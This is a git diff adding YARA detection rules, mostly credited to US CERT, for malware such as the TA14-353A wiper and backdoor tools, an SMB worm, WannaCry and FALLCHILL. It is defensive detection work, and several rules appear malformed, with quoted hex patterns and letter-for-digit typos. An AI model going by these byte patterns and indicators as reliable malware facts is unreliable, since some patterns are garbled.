diff --git a/yara-mikesxrs/US CERT/Lightweight_Backdoor_4.yar b/yara-mikesxrs/US CERT/Lightweight_Backdoor_4.yar
new file mode 100644
index 0000000..3054948
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Lightweight_Backdoor_4.yar	
@@ -0,0 +1,16 @@
+rule Lightweight_Backdoor_4
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$strl  = { C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'ansi.nls' being moved to ebp
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Lightweight_Backdoor_5.yar b/yara-mikesxrs/US CERT/Lightweight_Backdoor_5.yar
new file mode 100644
index 0000000..7cdf458
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Lightweight_Backdoor_5.yar	
@@ -0,0 +1,15 @@
+rule Lightweight_Backdoor_5
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$strl  = { C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'tlvc.nls' being moved to ebp
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Lightweight_Backdoor_6.yar b/yara-mikesxrs/US CERT/Lightweight_Backdoor_6.yar
new file mode 100644
index 0000000..6f813e8
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Lightweight_Backdoor_6.yar	
@@ -0,0 +1,15 @@
+rule Lightweight_Backdoor_6
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = "{ 8A 10 80 ?? 4E 80 ?? 79 88 10}"
+		$STR2 = "{ SA 10 80 ?? 79 80 ?? 4E 88 10}"
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_1.yar b/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_1.yar
new file mode 100644
index 0000000..efd423e
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_1.yar	
@@ -0,0 +1,16 @@
+rule Malware_used_by_cyber_threat_actor_1
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$heapCreateFunction_0 = {33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3???????0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15???????033C0C36A0158C3}
+		$heapCreateFunction = "{558BECB82C120000E8????FFFF8D8568FFFFFF5350C78568FFFFFF94000000FF1????????085C0741A83BD78FFFFFF02751183BD6CFFFFFF0572086A0158E9020100008D85D4EDFFF68901000005068???????0FF15???????085C00F84D000000033DB8D8DD4EDFFFF389DD4EDFFFF74138A013C617C083C7A7F042C20880141381975ED8D85D4EDFFFF6A165068???????0E8????000083C40C85C075088D85D4EDFFFFEB498D8564FEFFFF68040100005053FF15???????0389D64FEFFFF8D8D64FEFFFF74138A013C617C083C7A7F042C20880141381975ED8D8564FEFFFF508D85D4EDFFFF50E8????????59593BC3743E6A2C50E8????????593BC3597430408BC83818740E80393B75048819EB0141381975F26A0A5350E8????000083C40C83F802741D83F803741883F80174138D45FC50E898FEFFFF807DFC06591BC083C0035BC9C3}"
+		$getMajorMinorLinker = {568B7424086A00832600FF15???????06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3}
+		$openServiceManager = {FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B?????0?0?08BF?85F?74}
+	
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_2.yar b/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_2.yar
new file mode 100644
index 0000000..dc8be7c
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_2.yar	
@@ -0,0 +1,20 @@
+rule Malware_used_by_cyber_threat_actor_2 
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$str1 = "_quit"
+		$str2 = "_exe"
+		$str3 = "_put"
+		$str4 = "_got"
+		$str5 = "_get"
+		$str6 ="_del"
+		$str7 = "_dir"
+        $str8 = { C7 44 24 18 1F F7}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0  or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+ }
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_3.yar b/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_3.yar
new file mode 100644
index 0000000..61c4284
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Malware_used_by_cyber_threat_actor_3.yar	
@@ -0,0 +1,13 @@
+ rule Malware_used_by_cyber_threat_actor_3 
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = { 50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 }
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/PAS_TOOL_PHP_WEB_KIT.yar b/yara-mikesxrs/US CERT/PAS_TOOL_PHP_WEB_KIT.yar
new file mode 100644
index 0000000..6287621
--- /dev/null
+++ b/yara-mikesxrs/US CERT/PAS_TOOL_PHP_WEB_KIT.yar	
@@ -0,0 +1,18 @@
+rule PAS_TOOL_PHP_WEB_KIT  
+{
+meta:
+	description = "PAS TOOL PHP WEB KIT FOUND"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"
+  tlp = "white"
+strings:
+	$php = "<?php"
+	$base64decode = /\='base'\.\(\d+\*\d+\)\.'_de'\.'code'/
+	$strreplace = "(str_replace("
+	$md5 = ".substr(md5(strrev("
+	$gzinflate = "gzinflate"
+	$cookie = "_COOKIE"
+	$isset = "isset"
+
+condition:
+	(filesize > 20KB and filesize < 22KB) and #cookie == 2 and #isset == 3 and all of them
+}
diff --git a/yara-mikesxrs/US CERT/Proxy Tool.yar b/yara-mikesxrs/US CERT/Proxy Tool.yar
new file mode 100644
index 0000000..aa6d6a6
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Proxy Tool.yar	
@@ -0,0 +1,14 @@
+rule Proxy_Tool
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = "pmsconfig.msi" wide
+		$STR2 = "pmslog.msi" wide
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Proxy_Tool_2.yar b/yara-mikesxrs/US CERT/Proxy_Tool_2.yar
new file mode 100644
index 0000000..7f04b2d
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Proxy_Tool_2.yar	
@@ -0,0 +1,14 @@
+rule Proxy_Tool_2
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+    	$STR1 = "{ 82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 Dl  C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00 }" // '%SystemRoot%\System32\svchost.exe -k' xor A7
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Proxy_Tool_3.yar b/yara-mikesxrs/US CERT/Proxy_Tool_3.yar
new file mode 100644
index 0000000..c7ac1c7
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Proxy_Tool_3.yar	
@@ -0,0 +1,12 @@
+rule Proxy_Tool_3
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR2 = {8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF}
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/SMB_Worm_Tool.yar b/yara-mikesxrs/US CERT/SMB_Worm_Tool.yar
new file mode 100644
index 0000000..0284e50
--- /dev/null
+++ b/yara-mikesxrs/US CERT/SMB_Worm_Tool.yar	
@@ -0,0 +1,18 @@
+rule SMB_Worm_Tool
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+    strings:
+
+		$STR1 = "Global\\FwtSqmSession106829323_S-1-5-19"
+		$STR2 ="EVERYONE"
+		$STR3 = "y0uar3@s!llyid!07,ou74n60u7f001"
+		$STR4 = "\\KB25468.dat" 
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) ==0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/US_CERT_index.yara b/yara-mikesxrs/US CERT/US_CERT_index.yara
new file mode 100644
index 0000000..9d718e8
--- /dev/null
+++ b/yara-mikesxrs/US CERT/US_CERT_index.yara	
@@ -0,0 +1,369 @@
+import "pe"
+rule Destructive_Hard_Drive_Tool
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$str0= "MZ"
+
+		$str1 = {c6 84 24 ?? ( 00 | 01 ) 00 00 }
+
+		$xorInLoop = { 83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08 F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88 5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 }
+
+	condition:
+
+		$str0 at 0 and $xorInLoop and #str1 > 300
+
+}
+/*
+rule Destructive_Target_Cleaning_Tool
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$s1  = {d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000}
+
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+
+}
+*/
+
+
+rule Destructive_Target_Cleaning_Tool_2
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+        
+	strings:
+
+		$secureWipe= "{ 83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 38 C7 44 24 3C 95 00 00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 89 44 24 1C 0F 84 (D8 | d9) 01 00 00 33 FF 68 00 00 01 00 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF 89 5C 24 14 0F 84 (BC | BD) 01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ?? ?? ?? ?? 8B 44 24 4C 2B C7 74 20 48 74 0F 83 E8 02 75 1C C7 44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 0F 8E ( 5C | 5d ) 01 00 00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13 | 14) 33 F6 (E8 | ff 15) ?? ?? ?? ?? 88 04 1E 46 81 FE 00 00 01 00 7C ( EF | ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ?? ?? ?? ?? 8B F0 83 FE FF 0F 84 FA 00 00 00 8D 44 24 20 50 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 CO 7C 5A 7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00 01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ?? ?? ?? ?? 8B 6C 24 18 8B 44 24 24 03 FD 83 D3 00 3B D8 7C BE 7F 08 8B 54 24 20 3B FA 72 B8 8B 2D ?? ?? ?? ?? 8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 4C 8B 6C 24 48 47 83 C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89 4C 24 4C 0F 8C ( AE | AD) FE FF FF 6A 00 55 E8 ?? ?? ?? ?? 83 C4 08 53 FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 83 C4 34 C3}"
+
+	condition:
+
+		$secureWipe
+}
+
+rule Destructive_Target_Cleaning_Tool_3
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$S1_CMD_Arg = "/install" fullword
+		//$S2_CMD_Parse= ""\""%s'"'  /install \""%s\""'"' fullword
+		//$S3_CMD_Builder= ""\'"'%s\""  \""%s\'"' \""%s\'"' %s'"' fullword
+
+condition:
+
+all of them
+}
+/*
+rule Destructive_Target_Cleaning_Tool_4:
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+	
+	strings:
+		$BATCH_SCRIPT_LN1_0 = "goto x" fullword
+		$BATCH_SCRIPT_LN1_1 = "del" fullword
+		$BATCH_SCRIPT_LN2_0 = "if exist" fullword
+		$BATCH_SCRIPT_LN3_0 = ":x" fullword
+		$BATCH_SCRIPT_LN4_0 = "zz%d.bat" fullword
+
+	condition:
+		(#BATCH_SCRIPT_LNl_l == 2) and all of them"
+}
+
+*/
+
+rule Destructive_Target_Cleaning_Tool_5
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+	
+    strings:
+		$MCU_DLL_ZLIB_COMPRESSED2= "{5CECABAE813CC9BCD5A542F454910428343479806F71D5521E2AOD}"
+
+	condition:
+		all of them
+}
+
+
+rule Destructive_Target_Cleaning_Tool_6
+
+{
+	meta:
+    
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$MCU_INF_StartHexDec = "{010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A50 3A0D2A000E00A26El5104556766572636C7669642E657865}"
+
+		$MCU_INF_StartHexEnc = "{6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263ElF5413531FlE004543544C55}"
+
+condition:
+
+$MCU_INF_StartHexEnc or $MCU_INF_StartHexDec
+
+}
+
+rule Destructive_Target_Cleaning_Tool_7
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$ = "SetFilePointer"
+		$ = "SetEndOfFile"
+		$ = "{75 17 56 ff 15 ?? ?? ?? ?? 6a 00 6a 00 6a 00 56 ffD5 56 ff 15?? ?? ?? ?? 56}"
+
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+
+rule Destructive_Target_Cleaning_Tool_8
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+	
+	strings:
+		$license= "{E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C0020004A006F007200690073002000760061006E002000520061006E007400770069006A006B002C002000440065006C00690061006E000000000000000250000000000A002200CE000800EA03FFFF8200}"
+		$PuTTY= "{50007500540054005900}"
+
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $license and not $PuTTY
+ }
+ 
+rule Lightweight_Backdoor
+
+{
+    meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+    strings:
+	    $STR1 = "NetMgStart"
+		$STR2 = "Netmgmt.srg"
+
+	condition:
+    	(uint16(0) == 0x5A4D) and all of them
+        }
+        
+rule Lightweight_Backdoor_2
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = "prxTroy" ascii wide nocase
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
+
+rule Lightweight_Backdoor_3
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$strl  = "{ C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1  62 C6 45 F2 6C }" // 'dayipmr.tbl' being moved to ebp
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule Lightweight_Backdoor_4
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$strl  = { C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'ansi.nls' being moved to ebp
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
+
+rule Lightweight_Backdoor_5
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$strl  = { C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'tlvc.nls' being moved to ebp
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
+
+rule Lightweight_Backdoor_6
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = "{ 8A 10 80 ?? 4E 80 ?? 79 88 10}"
+		$STR2 = "{ SA 10 80 ?? 79 80 ?? 4E 88 10}"
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
+
+rule Malware_used_by_cyber_threat_actor_1
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$heapCreateFunction_0 = {33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3???????0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15???????033C0C36A0158C3}
+		$heapCreateFunction = "{558BECB82C120000E8????FFFF8D8568FFFFFF5350C78568FFFFFF94000000FF1????????085C0741A83BD78FFFFFF02751183BD6CFFFFFF0572086A0158E9020100008D85D4EDFFF68901000005068???????0FF15???????085C00F84D000000033DB8D8DD4EDFFFF389DD4EDFFFF74138A013C617C083C7A7F042C20880141381975ED8D85D4EDFFFF6A165068???????0E8????000083C40C85C075088D85D4EDFFFFEB498D8564FEFFFF68040100005053FF15???????0389D64FEFFFF8D8D64FEFFFF74138A013C617C083C7A7F042C20880141381975ED8D8564FEFFFF508D85D4EDFFFF50E8????????59593BC3743E6A2C50E8????????593BC3597430408BC83818740E80393B75048819EB0141381975F26A0A5350E8????000083C40C83F802741D83F803741883F80174138D45FC50E898FEFFFF807DFC06591BC083C0035BC9C3}"
+		$getMajorMinorLinker = {568B7424086A00832600FF15???????06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3}
+		$openServiceManager = {FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B?????0?0?08BF?85F?74}
+	
+	condition:
+		all of them
+}
+
+
+rule Malware_used_by_cyber_threat_actor_2 
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$str1 = "_quit"
+		$str2 = "_exe"
+		$str3 = "_put"
+		$str4 = "_got"
+		$str5 = "_get"
+		$str6 ="_del"
+		$str7 = "_dir"
+        $str8 = { C7 44 24 18 1F F7}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0  or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+ }
+ 
+ rule Malware_used_by_cyber_threat_actor_3 
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = { 50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 }
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+
+rule Proxy_Tool
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = "pmsconfig.msi" wide
+		$STR2 = "pmslog.msi" wide
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+
+rule Proxy_Tool_2
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+    	$STR1 = "{ 82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 Dl  C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00 }" // '%SystemRoot%\System32\svchost.exe -k' xor A7
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
+
+
+rule Proxy_Tool_3
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR2 = {8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF}
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR2
+}
+
+rule SMB_Worm_Tool
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+    strings:
+
+		$STR1 = "Global\\FwtSqmSession106829323_S-1-5-19"
+		$STR2 ="EVERYONE"
+		$STR3 = "y0uar3@s!llyid!07,ou74n60u7f001"
+		$STR4 = "\\KB25468.dat" 
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) ==0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/WannaCry.yara b/yara-mikesxrs/US CERT/WannaCry.yara
new file mode 100644
index 0000000..07d9e3f
--- /dev/null
+++ b/yara-mikesxrs/US CERT/WannaCry.yara	
@@ -0,0 +1,46 @@
+rule Wanna_Cry_Ransomware_Generic {
+       meta:
+              description = "Detects WannaCry Ransomware on Disk and in Virtual Page"
+              author = "US-CERT Code Analysis Team"
+              reference = "not set"
+              date = "2017/05/12"
+       hash0 = "4DA1F312A214C07143ABEEAFB695D904"
+       strings:
+              $s0 = {410044004D0049004E0024}
+              $s1 = "WannaDecryptor"
+              $s2 = "WANNACRY"
+              $s3 = "Microsoft Enhanced RSA and AES Cryptographic"
+              $s4 = "PKS"
+              $s5 = "StartTask"
+              $s6 = "wcry@123"
+              $s7 = {2F6600002F72}
+              $s8 = "unzip 0.15 Copyrigh"
+              $s9 = "Global\\WINDOWS_TASKOSHT_MUTEX"
+              $s10 = "Global\\WINDOWS_TASKCST_MUTEX"
+             $s11 = {7461736B736368652E657865000000005461736B5374617274000000742E776E7279000069636163}
+             $s12 = {6C73202E202F6772616E742045766572796F6E653A46202F54202F43202F5100617474726962202B68}
+             $s13 = "WNcry@2ol7"
+             $s14 = "wcry@123"
+             $s15 = "Global\\MsWinZonesCacheCounterMutexA"
+       condition:
+              $s0 and $s1 and $s2 and $s3 or $s4 and $s5 and $s6 and $s7 or $s8 and $s9 and $s10 or $s11 and $s12 or $s13 or $s14 or $s15
+}
+/*The following Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.*/
+rule MS17_010_WanaCry_worm {
+       meta:
+              description = "Worm exploiting MS17-010 and dropping WannaCry Ransomware"
+              author = "Felipe Molina (@felmoltor)"
+              reference = "https://www.exploit-db.com/exploits/41987/"
+              date = "2017/05/12"
+       strings:
+              $ms17010_str1="PC NETWORK PROGRAM 1.0"
+              $ms17010_str2="LANMAN1.0"
+              $ms17010_str3="Windows for Workgroups 3.1a"
+              $ms17010_str4="__TREEID__PLACEHOLDER__"
+              $ms17010_str5="__USERID__PLACEHOLDER__"
+              $wannacry_payload_substr1 = "h6agLCqPqVyXi2VSQ8O6Yb9ijBX54j"
+              $wannacry_payload_substr2 = "h54WfF9cGigWFEx92bzmOd0UOaZlM"
+              $wannacry_payload_substr3 = "tpGFEoLOU6+5I78Toh/nHs/RAP"
+       condition:
+              all of them
+}
diff --git a/yara-mikesxrs/US CERT/fallchill.yar b/yara-mikesxrs/US CERT/fallchill.yar
new file mode 100644
index 0000000..4f757ff
--- /dev/null
+++ b/yara-mikesxrs/US CERT/fallchill.yar	
@@ -0,0 +1,25 @@
+rule rc4_stack_key_fallchill
+{
+meta:
+    author = "US CERT"
+    reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+    description = "rc4_stack_key"
+strings:
+    $stack_key = { 0d 06 09 2a ?? ?? ?? ?? 86 48 86 f7 ?? ?? ?? ?? 0d 01 01 01 ?? ?? ?? ?? 05 00 03 82 41 8b c9 41 8b d1 49 8b 40 08 48 ff c2 88 4c 02 ff ff c1 81 f9 00 01 00 00 7c eb }
+condition:
+    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $stack_key
+}
+rule success_fail_codes_fallchill
+{
+meta:
+    author = "US CERT"
+    reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+    description = "success_fail_codes"
+strings:
+    $s0 = { 68 7a 34 12 00 }  
+    $s1 = { ba 7a 34 12 00 }  
+    $f0 = { 68 5c 34 12 00 }  
+    $f1 = { ba 5c 34 12 00 }
+condition:
+    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and (($s0 and $f0) or ($s1 and $f1))
+}
